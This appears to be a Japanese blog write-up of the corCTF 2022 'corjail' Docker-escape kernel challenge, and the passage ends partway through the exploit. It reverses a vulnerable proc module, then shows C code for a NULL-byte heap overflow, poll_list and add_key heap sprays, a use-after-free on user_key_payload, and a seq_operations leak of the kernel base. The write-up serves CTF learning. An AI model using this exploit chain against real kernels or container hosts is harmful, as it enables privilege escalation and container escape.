イントロ Link to this heading

いちにょっき、ににょっき、さんにょっき!!こんにちは、ニートです。 最近は少しフロント周りを触っていたということで、となると反動でpwnがやりたくなる季節ですね。とはいっても今週からまた新しいインターンに行くことになっているので、様々な環境の変化に正気を保つのがギリギリな今日この頃。というわけで、今日は更に初めての経験をするべくdocker escape pwn問題を解いていきましょう。 解くのはcorCTF 2022corjailという問題。確か前回のエントリでもcorCTFの問題を解いた気がするのですが、このCTFの問題はかなり好きです。初めてのdocker escape問題ということで、解いてる時に詰まったところや失敗したところ等も含めて書き連ねていこうと思います。まぁ詰まったところと言ってもwriteupをカンニングしたんですけどね。ただ、これは気をつけていることと言うかpwnのwriteupを先に見る時にいつもやることですが、writeupは薄目で見るようにしています。細かいexploit内容は読まずに、keyword的なものだけピックアップして、それらをどう使うかは自分でちゃんと考えるみたいな。カンニングするにしても、最初っから全部見ちゃうとおもしろみがなくなっちゃうので。このエントリでは、色々試行錯誤したり詰まったところも含めたデバッグ風景も一緒に書いていこうと思います。

devenv setup Link to this heading

まずはGitHubから問題をcloneしてきます。 配布ファイルがたくさんあるので、5分ほどuouoしましょう。 続いてbuild_kernel.shでKernelイメージをビルドします(スクリプト中だとシングルコアでビルドすることになっていて永遠に終わらないため、適宜修正しましょう)。 なんか途中でSSL周りのエラーが出るため、MODULES_SIG_ALLらへんを無効化してしまいましょう。 続いて、build_image.shでゲストファイルシステムを作成します。一応いろいろなことをしているので、evilなことをされないか自分でスクリプトの中身を見ましょう。作成されるファイルはbuild/corors/coros.qcow2です。QCOW形式のファイルは、以下の感じでmount/umountできます:

mount.bash
 1### mount.bash
 2#!/bin/bash
 3set -eu
 4
 5MNTPOINT=/tmp/hoge
 6QCOW=$(realpath "${PWD}"/../build/coros/coros.qcow2)
 7
 8sudo modprobe nbd max_part=8
 9mkdir -p $MNTPOINT
10sudo qemu-nbd --connect=/dev/nbd0 "$QCOW"
11sudo fdisk -l /dev/nbd0
12sudo mount /dev/nbd0 $MNTPOINT
13
14### umount.bash
15#!/bin/bash
16
17set -eu
18MNTPOINT=/tmp/hoge
19
20sudo umount $MNTPOINT || true
21sudo qemu-nbd --disconnect /dev/nbd0
22sudo rmmod nbd

さて、最初に起動フローを把握しておきます。上のスクリプトでマウントされたファイルシステムを見ると、/etc/inittabは以下の感じです。

inittab
1T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100

普通ですね。続いて/etc/init.d/dockerあたりにdockerデーモンのサービススクリプトがありますが、これもまあ普通なので割愛。/etc/systemd/system/init.serviceには以下のようにサービスが登録されています:

/etc/systemd/system/init.service
1[Unit]
2Description=Initialize challenge
3
4[Service]
5Type=oneshot
6ExecStart=/usr/local/bin/init
7
8[Install]
9WantedBy=multi-user.target

ExecStartである/usr/local/bin/initはこんな感じ:

/usr/local/bin/init.sh
 1#!/bin/bash
 2
 3USER=user
 4
 5FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')
 6
 7useradd --create-home --shell /bin/bash $USER
 8
 9echo "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '"  >> /root/.bashrc
10echo "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER/.bashrc
11
12chmod -r 0700 /home/$USER
13
14mv /root/temp /root/$FLAG
15chmod 0400 /root/$FLAG

新しいユーザ(user)を作って、PS1をイかした感じにして、flagをroot onlyにしているくらいです。続いて、/etc/passwdはこんな感じ:

/etc/passwd
1root:x:0:0:root:/root:/usr/local/bin/jail
2daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3(snipped...)

rootのログインシェルが/usr/local/bin/jailになっています:

/usr/local/bin/jail.sh
1#!/bin/bash
2
3echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
4/usr/bin/docker run -it --user user --hostname CoRJail --security-opt seccomp=/etc/docker/corjail.json -v /proc/cormon:/proc_rw/cormon:rw corcontainer
5/usr/sbin/poweroff -f

userとしてdockerを起動したあと、poweroffをしていますね。ここがメインの処理みたいです。--security-opt seccomp=/etc/docker/corjail.jsonを指定していますが、seccomp filterの内容は後ほど見ていくことにします。/proc/cormonという謎のproc fsもバインドマウントしていますが、これも後ほど見ていくことにします。 というわけで、ゲストOSのroot(not on docker)を触りたいときには、/etc/passwdのログインシェルを/bin/bashあたりにしておけばいいことがわかりました。rootでdocker imagesしてみると、以下の感じ:

.bash
1root@CoROS:~# docker images
2REPOSITORY     TAG             IMAGE ID       CREATED        SIZE
3corcontainer   latest          8279763e02ce   2 months ago   84.7MB
4debian         bullseye-slim   c9cb6c086ef7   3 months ago   80.4MB

先程jailの中でも指定されていたcorcontainerがありますね。これはどうやってつくられたのでしょう。build_image.shを見てみると、以下の記述があります:

build_image.sh
1tar -xzvf coros/files/docker/image/image.tar.gz -C coros/files/docker
2cp -rp coros/files/docker/var/lib/docker $FS/var/lib/
3rm -rf coros/files/docker/var

Docker imageは予め作られたものを使っているようです。デバッグ時には常に最新のexploitをguest OSのdockerコンテナ上に置いておきたいので、/usr/local/bin/jailを以下のように変更しておきましょう:

/usrr/local/bin/jail.sh
 1#!/bin/bash
 2
 3echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
 4cp /exploit /home/user || echo "[!] exploit not found, skipping"
 5chown -R user:user /home/user
 6echo 0 > /proc/sys/kernel/kptr_restrict
 7/usr/bin/docker run -it --user root \
 8  --hostname CoRJail \
 9  --security-opt seccomp=/etc/docker/corjail.json \
10  --add-cap CAP_SYSLOG \
11  -v /proc/cormon:/proc_rw/cormon:rw \
12  -v /home/user/:/home/user/host \
13  corcontainer
14/usr/sbin/poweroff -f

あとはexploitをguestのファイルシステムにおいておけば、勝手にコンテナ内の/home/user/exploitに配置されて便利ですね。ついでにCAP_SYSLOGを与えることで/proc/kallsysmを見れるようにしています。 因みに諸々のめんどくさいことは、lysitheaが全部面倒見てくれるので、最初のセットアップを除くと実際には以下のコマンドを打つだけです:

lysithea.bash
1lysithea init # first time only
2lysithea extract # first time only
3lysithea local

static analysis Link to this heading

misc Link to this heading

lysithea曰く:

lysithea.bash
 1root@CoRJail:/home/user/host# ./drothea --verbose
 2Drothea v1.0.0
 3[.] kernel version:
 4        Linux version 5.10.127 (root@VPS) (gcc (Debian 8.3.0-6) 8.3.0, GNU ld (GNU Binutils for Debian) 2.31.1) #2 SMP Thu January 1 00:00:00 UTC 2030
 5[-] CONFIG_KALLSYMS_ALL is enabled.
 6[!] unprivileged ebpf installation is enabled.
 7cat: /proc/sys/vm/unprivileged_userfaultfd: No such file or directory
 8[-] unprivileged userfaultfd is disabled.
 9[?] KASLR seems enabled. Should turn off for debug purpose.
10[?] kptr seems restricted. Should try 'echo 0 > /proc/sys/kernel/kptr_restrict' in init script.
11root@CoRJail:/home/user/host# ./ingrid --verbose
12Ingrid v1.0.0
13[-] userfualtfd is disabled.
14[-] CONFIG_DEVMEM is disabled.

基本的セキュリティ機構は全部有効です。さて、kernelのビルドスクリプト(build_kernel.shを読むと、以下のようなパッチがあたっています:

patch.diff
 1diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
 2--- a/arch/x86/entry/syscall_64.c	2022-06-29 08:59:54.000000000 +0200
 3+++ b/arch/x86/entry/syscall_64.c	2022-07-02 12:34:11.237778657 +0200
 4@@ -17,6 +17,9 @@
 5 
 6 #define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,
 7 
 8+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
 9+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
10+
11 asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
12 	/*
13 	 * Smells like a compiler bug -- it doesn't work
14diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
15--- a/arch/x86/include/asm/syscall_wrapper.h	2022-06-29 08:59:54.000000000 +0200
16+++ b/arch/x86/include/asm/syscall_wrapper.h	2022-07-02 12:34:11.237778657 +0200
17@@ -219,9 +220,41 @@
18 
19 #define SYSCALL_DEFINE_MAXARGS	6
20 
21-#define SYSCALL_DEFINEx(x, sname, ...)				\
22-	SYSCALL_METADATA(sname, x, __VA_ARGS__)			\
23-	__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
24+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
25+
26+#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
27+	static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
28+
29+#define __SYSCALL_COUNT(syscall_nr) \
30+	this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
31+
32+#define SYSCALL_COUNT_FUNCx(sname, x, ...)					\
33+	{									\
34+		__SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr);		\
35+		return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__));	\
36+	}									\
37+	static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
38+
39+#define SYSCALL_COUNT_DECLARE0(sname) \
40+	static inline long __count_sys_##sname(void);
41+
42+#define SYSCALL_COUNT_FUNC0(sname)					\
43+	{								\
44+		__SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr);	\
45+		return __count_sys_##sname();				\
46+	}								\
47+	static inline long __count_sys_##sname(void)
48+
49+#define SYSCALL_DEFINEx(x, sname, ...)			\
50+	SYSCALL_METADATA(sname, x, __VA_ARGS__)		\
51+	SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__)	\
52+	__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)	\
53+	SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
54+
55+#define SYSCALL_DEFINE0(sname)		\
56+	SYSCALL_COUNT_DECLARE0(sname)	\
57+	__SYSCALL_DEFINE0(sname)	\
58+	SYSCALL_COUNT_FUNC0(sname)
59
60(snpped...)

これはprocfsにsyscallのanalyticsを追加するパッチみたいです。パッチからもわかるように、各CPUに__per_cpu_syscall_countという変数が追加され、syscallの呼び出し回数を記録するようになっています。

module analysis (rev) Link to this heading

続いて、本問題のメインであるカーネルモジュール(cormon.ko)を見ていきます。そして気づく、ソースコードが配布されてない!!!きっとおっちょこちょいでソースを配布し忘れてしまったんでしょう。仕方がないのでGhidraで見ていきましょう。デコンパイルして適当に見やすく整形するとこんな感じ:

decompiled.c
  1char *initial_filter = "sys_execve,sys_execveat,sys_fork,sys_keyctl,sys_msgget,sys_msgrcv,sys_msgsnd,sys_poll,sys_ptrace,sys_setxattr,sys_unshare";
  2
  3struct proc_ops cormon_proc_ops = {
  4  .proc_open = cormon_proc_open,
  5  .proc_write = cormon_proc_write,
  6  .proc_read = seq_read,
  7};
  8
  9struct seq_operations cormon_seq_ops = {
 10  .start = cormon_seq_start,
 11  .stop = cormon_seq_stop,
 12  .next = cormon_seq_next,
 13  .show = cormon_seq_show,
 14};
 15
 16int init_module(void) {
 17  printk("6[CoRMon::Init] Initializing module...\n");
 18  if (proc_create("cormon", 0x1B5, 0, cormon_proc_ops) != 0) {
 19    return -0xC;
 20  }
 21  if (update_filter(initial_filter) != 0) {
 22    return -0x16;
 23  }
 24  
 25  printk("3[CoRMon::Error] proc_create() call failed!\n");
 26  return 0;
 27}
 28
 29void cormon_proc_open(struct *inode inode, struct file *fp) {
 30  seq_open(fp, cormon_seq_ops);
 31  return;
 32}
 33
 34ssize_t cormon_proc_write(struct file *fp, const char __user *ubuf, size_t size, loff_t *offset) {
 35  size_t sz;
 36  char *heap;
 37  if (*offset < 0) return 0xffffffffffffffea;
 38  if (*offset < 0x1000 && size != 0) {
 39    if (0x1000 < size) sz = 0xFFF;
 40    heap = kmem_cache_alloc_trace(?, 0xA20, 0x1000);
 41    printk("6[CoRMon::Debug] Syscalls @ %#llx\n");
 42    if (heap == NULL) {
 43      printk("3[CoRMon::Error] kmalloc() call failed!\n");
 44      return 0xfffffffffffffff4;
 45    }
 46    if (copy_from_user(heap, ubuf, sz) != 0) {
 47      printk("3[CoRMon::Error] copy_from_user() call failed!\n");
 48      return 0xfffffffffffffff2;
 49    }
 50    heap[sz] = NULL;
 51    if (update_filter(heap)) {
 52      kfree(heap);
 53    } else {
 54      kfree(heap);
 55      return 0xffffffffffffffea;
 56    }
 57  }
 58  return 0;
 59}
 60
 61long update_filter(char *syscall_str) {
 62  char *syscall;
 63  int syscall_nr;
 64  char syscall_list[?] = {0};
 65  
 66  while(syscall = strsep(syscall, ",") && syscall != NULL && syscall_str != NULL) {
 67    if((syscall_nr = get_syscall_nr(syscall)) < 0) {
 68      printk("3[CoRMon::Error] Invalid syscall: %s!\n", syscall);
 69      return 0xffffffea;
 70    }
 71    syscall_list[syscall_nr] = 1;
 72  }
 73  
 74  memcpy(filter, syscall_list, 0x37 * 8);
 75}
 76
 77int cormon_seq_show(struct seq_file *sfp, void *vp) {
 78  ulong v = *vp;
 79  if (v == 0) {
 80    int n = -1;
 81    seq_putc(sfp, 0xA);
 82    while((n = cpumask_next(n, &__cpu_online_mask)) < _nr_cpu_ids) { // for_each_cpu macro?
 83      seq_printf(sfp, "%9s%d", "CPU", n);
 84    }
 85    seq_printf(sfp, "\tSyscall (NR)\n\n");
 86  }
 87  
 88  if (filtter[v] != 0) {
 89    if((name = get_syscall_name(v)) == 0) return 0;
 90    int n = -1;
 91    while((n = cpumask_next(n, &__cpu_online_mask)) < _nr_cpu_ids) {
 92      seq_printf(sfp, "%10sllu", "CPU", __per_cpu_syscall_count[v]); // PER_CPU macro?
 93    }
 94    seq_printf(sfp, "\t%s (%lld)\n", name, v);
 95  }
 96  if (v == 0x1B9) seq_putc(sfp, 0xA);
 97  
 98  return 0;
 99}
100
101void* cormon_seq_next(struct seq_file *fp, void *v, loff_t *pos_p) {
102  loff_t pos = *pos_p;
103  *pos_p++;
104  if (pos < 0x1BA) return pos_p;
105  return 0;
106}
107
108void* cormon_seq_stop(struct seq_file *fp, void *v) {
109  return NULL;
110}
111
112void* cormon_seq_start(struct seq_file *fp, loff_t *pos_p) {
113  if (*pos_p < 0x1BA) return pos_p;
114  else return 0;
115}

まぁ内容は簡単なのでrev自体はそんなに難しくないです。 やっていることとしては、上述のpatchによって導入されたPERCPUな変数__per_cpu_syscall_countを表示するインタフェースを作っています。このカウンタはpatchされたsyscallの先頭において__SYSCALL_COUNT()でインクリメントされます。このインクリメントは、モジュール内のfilterには関係なく全てのsyscallに対して行われます。cormonモジュールは、procに生やしたファイルをreadすることでfilterが有効になっているsyscallの統計結果だけを表示しているようにしており、また書き込みを行うことでfilterの値を更新することができるように成っています。update_filter()を見るとわかるように、更新方法は/proc_rw/cormonにsyscallの名前をカンマ区切りで書き込みます(Dockerの起動時に-v /proc/cormon:/proc_rw/cormon:rwとしてホストのデバイスファイルをゲストにRWでバインドマウントしています)。 実際に使ってみるとこんな感じ:

CoROS, actually Debian BullsEye

seccomp Link to this heading

seccomp.json(のちにcorjail.jsonとしてVM内にコピーされる)には、以下のようにdefaultAction: SCMP_ACT_ERRNOでフィルターが設定されています:

seccomp.json
 1{
 2	"defaultAction": "SCMP_ACT_ERRNO",
 3	"defaultErrnoRet": 1,
 4	"syscalls": [
 5		{
 6            "names": [ "_llseek", "_newselect", (snipped...)],
 7			"action": "SCMP_ACT_ALLOW"
 8		},
 9		{
10			"names": [ "clone" ],
11			"action": "SCMP_ACT_ALLOW",
12			"args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
13		}
14	]
15}

許可されていないsyscallは、おおよそ以下のとおりです(雑に比較したので多少ずれはあるかも):

disallowed.txt
 1msgget
 2msgsnd
 3msgrcv
 4msgctl
 5ptrace
 6syslog
 7uselib
 8personality
 9ustat
10sysfs
11vhangup
12pivot_root
13_sysctl
14chroot
15acct
16settimeofday
17mount
18umount2
19swapon
20swapoff
21reboot
22sethostname
23setdomainname
24iopl
25ioperm
26create_module
27init_module
28delete_module
29get_kernel_syms
30query_module
31quotactl
32nfsservctl
33getpmsg
34putpmsg
35afs_syscall
36tuxcall
37security
38lookup_dcookie
39clock_settime
40vserver
41mbind
42set_mempolicy
43get_mempolicy
44mq_open
45mq_unlink
46mq_timedsend
47mq_timedreceive
48mq_notify
49mq_getsetattr
50kexec_load
51request_key
52migrate_pages
53unshare
54move_pages
55perf_event_open
56fanotify_init
57name_to_handle_at
58open_by_handle_at
59setns
60process_vm_readv
61process_vm_writev
62kcmp
63finit_module
64kexec_file_load
65bpf
66userfaultfd
67pkey_mprotect
68pkey_alloc
69pkey_free

unshare, mount, msgget, msgsnd, userfaultfd, bpfらへんが禁止されていますね。

ちなみに、Ubuntu22.04環境でpthreadを含めてstatic buildしたバイナリをコンテナ上で動かそうとしたところ、Operation not permittedになりました。Dockerには多分seccompでひっかかったsyscallのレポート機能がないため、手動と勘で問題になっているsyscallを探したところ、clone3 syscallが問題になっているようでした。よって、seccomp.jsonに以下のようなパッチを当てました(writeupを見た感じ、pthreadの使用は意図しているため、pthreadを含む環境の違いっぽい?):

seccomp.patch
 1--- a/../build/coros/files/docker/seccomp.json
 2+++ b/./seccomp.json
 3@@ -10,6 +10,10 @@
 4                        "names": [ "clone" ],
 5                        "action": "SCMP_ACT_ALLOW",
 6                        "args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
 7+               },
 8+               {
 9+                       "names": [ "clone3" ],
10+                       "action": "SCMP_ACT_ALLOW"
11                }
12        ]
13 }

Vuln: NULL-byte overflow Link to this heading

バグはGhidraのデコンパイル結果を見ると明らかです。 common_proc_write()ではユーザから渡されたsyscallの文字列をheap(kmalloc-4k)にコピーしています。その後、heapの最後をNULL終端しようとしていますが、size0x1000の時にNULL-byte overflowするようになっています:

.c
1common_proc_write() {
2  if (0x1000 < size) sz = 0xFFF;
3  if (copy_from_user(heap, ubuf, sz) != 0) {...}
4  ...
5  heap[sz] = NULL;
6  ...
7}

使われるスラブキャッシュはkmalloc-4kです。コレとかを見ると、まぁ使えそうな構造体はあるように思えますが、今回はseccompでフィルターされているため1K以上のキャッシュで使える構造体はこのリストには見当たりません。最近のkernelpwn追ってないしここでお手上げに成ったので、writeupをカンニングしました、チート最高!

pre-requisites Link to this heading

sys_poll Link to this heading

sys_poll()が使えるらしい。ソースはこんな感じ(余計なところは省略している):

fs/select/select.c
 1#define FRONTEND_STACK_ALLOC	256
 2#define POLL_STACK_ALLOC	FRONTEND_STACK_ALLOC
 3#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list))  / \
 4			sizeof(struct pollfd))
 5#define POLLFD_PER_PAGE  ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))            
 6struct pollfd {
 7	int fd;
 8	short events;
 9	short revents;
10}; /* size: 8, cachelines: 1, members: 3 */
11struct poll_list {
12	struct poll_list *next;
13	int len;
14	struct pollfd entries[];
15}; /* size: 16, cachelines: 1, members: 3 */
16
17static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
18		struct timespec64 *end_time)
19{
20	struct poll_wqueues table;
21	long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
22	struct poll_list *const head = (struct poll_list *)stack_pps;
23 	struct poll_list *walk = head;
24
25	len = min_t(unsigned int, nfds, N_STACK_PPS);
26	for (;;) {
27		walk->next = NULL;
28		walk->len = len;
29		if (!len)
30			break;
31
32		if (copy_from_user(walk->entries, ufds + nfds-todo,
33					sizeof(struct pollfd) * walk->len))
34			goto out_fds;
35
36		todo -= walk->len;
37		if (!todo)
38			break;
39
40		len = min(todo, POLLFD_PER_PAGE);
41		walk = walk->next = kmalloc(struct_size(walk, entries, len),
42					    GFP_KERNEL);
43		if (!walk) {
44			err = -ENOMEM;
45			goto out_fds;
46		}
47	}
48
49	fdcount = do_poll(head, &table, end_time);
50
51	err = fdcount;
52out_fds:
53	walk = head->next;
54	while (walk) {
55		struct poll_list *pos = walk;
56		walk = walk->next;
57		kfree(pos);
58	}
59
60	return err;
61}

まずユーザランドから渡されたpollfdリストをスタック上のstack_ppsに最大256byte分コピーします。厳密には、next, lenメンバ分の16byteを除いた240byte分(つまりstruct pollfdの30個分)をスタック上にコピーします。もしそれ以上のufdsが渡された場合には、次は最大でPOLLFD_PER_PAGE ((4096-16)/8 == 510)個数分だけkmalloc()してコピーします。つまり、使われるスラブキャッシュはkmalloc-32 ~ kmalloc-4kのどれか(next, lenの分があるためkmalloc-16以下には入らない)です。こうして、256byteのstackと、32~4Kのheapにstruct poll_listpollfdをコピーしたあと、それらをnextポインタで繋いでリストを作っています。freeは、リストの先頭から順にkfreeで単純に解放してます。 なるほど、たしかにこの構造体はkmalloc-32~4kの任意のサイズのキャッシュへのポインタを持つことができて、且つfreeはタイマーでも任意のタイミングでもできるため便利そう。 前述のNULL-byte overflowを使ってstruct pollfdnextをpartial overwriteすることで、そのスラブに入っているオブジェクトをUAF(read)できそうです。問題は、msgXXX系のsyscallがフィルターされている状況で、どの構造体を使ってreadするか。

add_key / keyctl syscall Link to this heading

まぁ勿論カンニングしたんですが。add_keyというシステムコールがあるらしい。知らんがな。そういえば、seccompのフィルターを見るとデフォルトの設定では許可されていないのにこの問題では許可されています。ソースはこんな感じ:

fs/select.c
 1// security/keys/user_defined.c
 2struct key_type key_type_user = {
 3	.name			= "user",
 4	.preparse		= user_preparse,
 5	.free_preparse		= user_free_preparse,
 6	.instantiate		= generic_key_instantiate,
 7	.update			= user_update,
 8	.revoke			= user_revoke,
 9	.destroy		= user_destroy,
10	.describe		= user_describe,
11	.read			= user_read,
12};
13int user_preparse(struct key_preparsed_payload *prep)
14{
15  struct user_key_payload *upayload;
16  size_t datalen = prep->datalen;
17
18  if (datalen <= 0 || datalen > 32767 || !prep->data)
19      return -EINVAL;
20
21  upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
22  ...
23}
24
25// security/keys/keyctl.c
26SYSCALL_DEFINE5(add_key, const char __user *, _type,
27		const char __user *, _description, const void __user *, _payload,
28		size_t, plen, key_serial_t, ringid)
29{
30  key_ref_t keyring_ref, key_ref;
31  char type[32], *description;
32  void *payload;
33  long ret;
34
35  /* draw all the data into kernel space */
36  ret = key_get_type_from_user(type, _type, sizeof(type));
37  description = NULL;
38  if (_description) {...}
39
40  /* pull the payload in if one was supplied */
41  payload = NULL;
42
43  if (plen) {
44      ...
45      if (copy_from_user(payload, _payload, plen) != 0)
46          goto error3;
47  }
48
49  keyring_ref = lookup_user_key(ringid, KEY_LOOKUP_CREATE, KEY_NEED_WRITE);
50  key_ref = key_create_or_update(keyring_ref, type, description,
51                     payload, plen, KEY_PERM_UNDEF, KEY_ALLOC_IN_QUOTA);
52  ...
53}
54
55// security/keys/key.c
56key_ref_t key_create_or_update(key_ref_t keyring_ref,
57			       const char *type,
58			       const char *description,
59			       const void *payload,
60			       size_t plen,
61			       key_perm_t perm,
62			       unsigned long flags)
63{
64  struct keyring_index_key index_key = {
65      .description	= description,
66  };
67  struct key_preparsed_payload prep;                       
68    
69  index_key.type = key_type_lookup(type);
70  memset(&prep, 0, sizeof(prep));
71  ...
72  if (index_key.type->preparse) {
73      ret = index_key.type->preparse(&prep);
74      ...
75  }
76  ...
77  ret = __key_instantiate_and_link(key, &prep, keyring, NULL, &edit);
78  ...
79}

はい。manpageによると、keyring, user, logon, bigkeyという4種類の鍵があります。そしてそのそれぞれについてfopsみたいなstruct key_type構造体が結びついています。このハンドラの中の、ユーザ入力ペイロードをパースする関数である.preparseは、userタイプの場合user_preparse()関数に成っています。user_preparse()は、user_key_payload構造体をkmallocします。この構造体はこれまた可変サイズを持ち、最大sizeof(struct user_key_payload) + 32767までの任意のサイズをユーザ指定で確保することができます。解放も、ユーザが任意のタイミングで行うことができます(keyctl_revoke)。読むことも、できます。素晴らしい構造体ですね、全くどうやってこんなもんを見つけてくるのやら。おまけに、特筆すべきこととして最初のメンバであるrcuは初期化されるまではもとの値が保たれるみたいです。ふぅ。

kbase leak via user_key_payload and seq_operations Link to this heading

さて、これらの材料を使うとkernbaseがリークできそうです。細かい事は無視して大枠だけ考えます。 事前準備として、add_keyを呼び出してstruct user_key_payloadkmalloc-32に置いておきます。続いて、pollを542個(stackに置かれる30個 + kmalloc-4kに置かれる510個 + kmalloc-32に置かれる2個)のfdに対して呼び出します。そうすると、stack --> kmalloc-4k --> kmalloc-32の順にstruct poll_listのリストが繋がれます。続いて、モジュールのプロックファイルに書き込むことでcormon_proc_write()を呼び出してNULL-byte overflowさせます。このときバッファはkmalloc-4kにとられるため、うまく行くと先程のpoll_list.nextポインタの最後1byteがpartial overwriteされます。そして、そのアドレスがうまい具合だと、書き換えたあとのポインタが一番最初に準備したuser_key_payloadを指すことになります。続いてpoll_listをfreeさせる(これはtimer expireでも、イベントを発生させるのでもどちらでもOK)ことで、リストにつながっているuser_key_payloadをfreeします。これでuser_key_payloadのUAF完成です。kbaseを読むためにseq_operationsらへんを確保して、user_key_payloadの上に配置します。あとはkeyctl_readでペイロードを読むことで、kbaseをleakできます。 というようにシナリオだけ文面で考えると簡単そうですが、「うまくいくと」と書いたところをうまくさせないといけませんね。まぁスプレーでなんとかなるでしょう。 さて、順を追ってやっていきましょう。まずはadd_key()でkmalloc-32に鍵を置きます。なお、add_key syscallに対するglibc wrapperはないため、libkeyutils-dev等のパッケージをインストールしたあと、-lkeyutilsを指定してビルドする必要があります。 雑にkeyをスプレーします:

spray_keys.c
 1void spray_keys() {
 2  char *desc = calloc(0x100, 1);
 3  if (desc <= 0) errExit("spray_keys malloc");
 4  strcpy(desc, DESC_KEY_TOBE_OVERWRITTEN_SEQOPS);
 5
 6  for (int ix = 0; ix != NUM_KEY_SPRAY; ++ix) {
 7    memcpy(desc + strlen(DESC_KEY_TOBE_OVERWRITTEN_SEQOPS), &ix, 4);
 8    char *key_payload = malloc(SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
 9    memset(key_payload, 'A', SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
10    key_serial_t keyid0 = add_key("user", desc, key_payload, SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS, KEY_SPEC_PROCESS_KEYRING);
11    if (keyid0 < 0) errExit("add_key 0");
12  }
13}

すると、以下のようにヒープの中にそれらしい箇所が見つかります(pt -ss AAAAAAAA -align 8 )。きっとコレがkmalloc-32でしょう。needleとして仕込んだAAAAAAAAというペイロードと、その直前がshortの0x08(ushort datalen)であることからもわかります:

user_key_payload in kmalloc-32

ところで、user_key_payloadが連続していないことが見て取れますね。きっと、CONFIG_SLAB_FREELIST_RANDOMIZEらへんが有効化されているのでしょう。 続いて、poll_listkmalloc-4kkmalloc-32にスプレーしていきます。

alloc_poll_list.c
1  assign_to_core(0);
2  for (int ix = 0; ix != NUM_POLLLIST_ALLOC; ++ix) {
3    if(pthread_create(&threads[ix], NULL, alloc_poll_list, &just_fd) != 0) errExit("pthread_create");
4  }

search for poll_list

poll_list in kmalloc-4k

今回はpollするイベントはPOLLERR(=0x0008)で、使ったfd0x00000004なので、バイト列0x0000000400080000をニードルとして検索できます(pt -sb 08000000040000000800000004000000 -align 16。まぁ、pt -sb fe01000004000000 -align 8のほうが良さそう)。ところで、struct poll_listにおいて、struct pollfd[]って8byteアラインされないんですね。おかげでpoll_listがどこにも見つからない…!と発狂する羽目になりました。あ、ところでこのptコマンドはgdb-pt-dumpのことです。

pahole of pollfd

pahole of poll_list

さぁさぁ、とりあえずは各構造体が意図したサイズのキャッシュに入っていることが分かりました。 この状態で、一旦NULL-byte overflowさせてみます:

overflow.c
1void nullbyte_overflow(void) {
2  assert(cormon_fd >= 2);
3  memset(cormon_buf, 'B', 0x1000 + 0x20);
4  strcpy((char*)cormon_buf + 1, "THIS_IS_CORMON_BUFFER");
5  *cormon_buf = 0x00;
6
7  if(write(cormon_fd, cormon_buf, 0x1000) != -1) errExit("nullbyte_overflow");
8  errno = 0;
9}

search for NULL-overflowed poll_list

うーん、確かに次のページ上のスラブオブジェクトがNULL-byte overflowされている感じはしますが、このオブジェクトは明らかにstruct poll_listではありません(.lenメンバが不正)。色々と試してみた結果、struct poll_listを確保する回数を0x10 -> 0x10-2回にしたらいい感じになりました。スプレーでは大事、こういう小さい調整:

actually, poll_list is NULL-byte overflowed!

確かにcormon_proc_write()で確保されたバッファとstruct poll_listが隣接し、poll_list.nextの先頭1byteがNULL-byte overflowされていることがわかりますね。因みに、writeupによるとsched_setaffinity()を使ってどのコアを使うかをコントロールしたほうがいいらしいです。確かにスラブキャッシュはPERCPUだから、そっちのほうが良さそう。頭いいね! さぁ、ここで重要なことは、overwriteされたnextポインタが指す先(0xffff888007617500)が最初に確保したuser_key_payloadになっているかどうか。且つ、最初のメンバであるuser_key_payload.rcuがNULLであるかどうかですが…:

user_key_payload is pointed to by poll_list.next

完璧ですね。これであとは数秒待ってpollをタイムアウトさせることで、poll_listが先頭から順にfreeされていきます。user_key_payloadもfreeされてしまいます。よって、こいつの上に新しく何らかの構造体を置いてあげましょう。kmalloc-32に入っていて、且つkptrを含んでいるものなら何でもいいです。今回はseq_operationsを使ってみます:

seq_operations.c
 1  // Check all keys to leak kbase via `seq_operations`
 2  char keybuf[0x100] = {0};
 3  ulong leaked = 0;
 4  for (int ix = 0; ix != NUM_KEY_SPRAY; ++ix) {
 5    memset(keybuf, 0, 0x100);
 6    if(keyctl_read(keys[ix], keybuf, 0x100) < 0) errExit("keyctl_read");
 7    if (strncmp(keybuf, "AAAA", 4) != 0) {
 8      leaked = *(ulong*)keybuf;
 9    }
10  }
11  if (leaked == 0) {
12    puts("[-] Failed to leak kbase");
13    exit(1);
14  }
